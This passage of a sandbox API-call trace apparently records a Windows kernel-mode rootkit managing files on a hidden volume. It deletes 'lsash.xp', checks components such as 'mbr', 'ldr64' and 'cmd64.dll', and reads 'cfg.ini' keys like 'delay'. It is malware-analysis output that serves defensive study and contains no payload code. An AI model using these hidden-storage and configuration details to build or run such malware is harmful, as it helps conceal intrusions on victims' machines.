FastMutex=0xfffffa80027d3898) [0124.352] KeLeaveCriticalRegion () [0124.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.352] ReleaseMutex (hMutex=0xf0) returned 1 [0124.352] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.352] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.352] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.352] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.352] KeEnterCriticalRegion () [0124.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.352] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.352] IdePortDispatch () returned 0x103 [0124.353] KeWaitForMutexObject () returned 0x0 [0124.353] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.353] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.353] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.353] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.353] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.353] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.353] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.353] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.353] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.353] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.353] KeLeaveCriticalRegion () [0124.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.353] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.353] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.353] KeEnterCriticalRegion () [0124.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.353] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.353] IdePortDispatch () returned 0x103 [0124.353] KeWaitForMutexObject () returned 0x0 [0124.353] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.353] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.353] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.353] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.354] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.354] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.354] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.354] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.354] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.354] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.354] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.354] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.354] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.354] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.354] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.354] KeLeaveCriticalRegion () [0124.354] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.354] ReleaseMutex (hMutex=0x100) returned 1 [0124.354] Sleep (dwMilliseconds=0x2bf20) [0124.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d526950, dwHighDateTime=0x1d24fa4)) [0124.360] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.360] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.360] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.360] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.360] KeEnterCriticalRegion () [0124.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.360] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.360] IdePortDispatch () returned 0x103 [0124.360] KeWaitForMutexObject () returned 0x0 [0124.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.360] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.360] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.361] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.361] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befeb0 [0124.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] KeLeaveCriticalRegion () [0124.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.361] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.361] KeEnterCriticalRegion () [0124.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] KeLeaveCriticalRegion () [0124.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.361] KeEnterCriticalRegion () [0124.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.361] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.361] IdePortDispatch () returned 0x103 [0124.361] KeWaitForMutexObject () returned 0x0 [0124.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] KeLeaveCriticalRegion () [0124.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.361] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.361] KeEnterCriticalRegion () [0124.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.361] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353e000 [0124.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.361] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.361] IdePortDispatch () returned 0x103 [0124.362] KeWaitForMutexObject () returned 0x0 [0124.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.362] IdePortDispatch () returned 0x103 [0124.362] KeWaitForMutexObject () returned 0x0 [0124.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.362] KeLeaveCriticalRegion () [0124.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.362] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.362] KeEnterCriticalRegion () [0124.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.362] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.362] KeLeaveCriticalRegion () [0124.363] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.363] KeEnterCriticalRegion () [0124.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.363] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] KeLeaveCriticalRegion () [0124.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.363] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.363] KeEnterCriticalRegion () [0124.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] ExFreePoolWithTag (P=0xfffffa8003befeb0, Tag=0x0) [0124.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] KeLeaveCriticalRegion () [0124.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.363] ReleaseMutex (hMutex=0xf0) returned 1 [0124.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.363] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.363] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.363] KeEnterCriticalRegion () [0124.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.363] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.363] IdePortDispatch () returned 0x103 [0124.363] KeWaitForMutexObject () returned 0x0 [0124.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.363] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.363] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.363] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.363] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.363] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0b60 [0124.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.363] KeLeaveCriticalRegion () [0124.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.363] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.364] KeEnterCriticalRegion () [0124.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.364] KeLeaveCriticalRegion () [0124.364] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.364] KeEnterCriticalRegion () [0124.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.364] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.364] IdePortDispatch () returned 0x103 [0124.364] KeWaitForMutexObject () returned 0x0 [0124.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.364] KeLeaveCriticalRegion () [0124.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.364] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.364] KeEnterCriticalRegion () [0124.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.364] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353f000 [0124.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.364] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.364] IdePortDispatch () returned 0x103 [0124.364] KeWaitForMutexObject () returned 0x0 [0124.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.365] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.365] IdePortDispatch () returned 0x103 [0124.366] KeWaitForMutexObject () returned 0x0 [0124.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.366] KeLeaveCriticalRegion () [0124.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.366] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.366] KeEnterCriticalRegion () [0124.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.366] KeLeaveCriticalRegion () [0124.366] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.366] KeEnterCriticalRegion () [0124.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.366] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.366] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.366] KeLeaveCriticalRegion () [0124.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.366] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.366] KeEnterCriticalRegion () [0124.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] ExFreePoolWithTag (P=0xfffffa8003bf0b60, Tag=0x0) [0124.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] KeLeaveCriticalRegion () [0124.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.367] ReleaseMutex (hMutex=0xf0) returned 1 [0124.367] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.367] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.367] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.367] KeEnterCriticalRegion () [0124.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.367] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.367] IdePortDispatch () returned 0x103 [0124.367] KeWaitForMutexObject () returned 0x0 [0124.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.367] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.367] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.367] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.367] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.367] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] KeLeaveCriticalRegion () [0124.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.367] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.367] KeEnterCriticalRegion () [0124.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] KeLeaveCriticalRegion () [0124.367] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.367] KeEnterCriticalRegion () [0124.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.368] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.368] IdePortDispatch () returned 0x103 [0124.368] KeWaitForMutexObject () returned 0x0 [0124.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.368] KeLeaveCriticalRegion () [0124.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.368] KeEnterCriticalRegion () [0124.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.368] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003540000 [0124.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 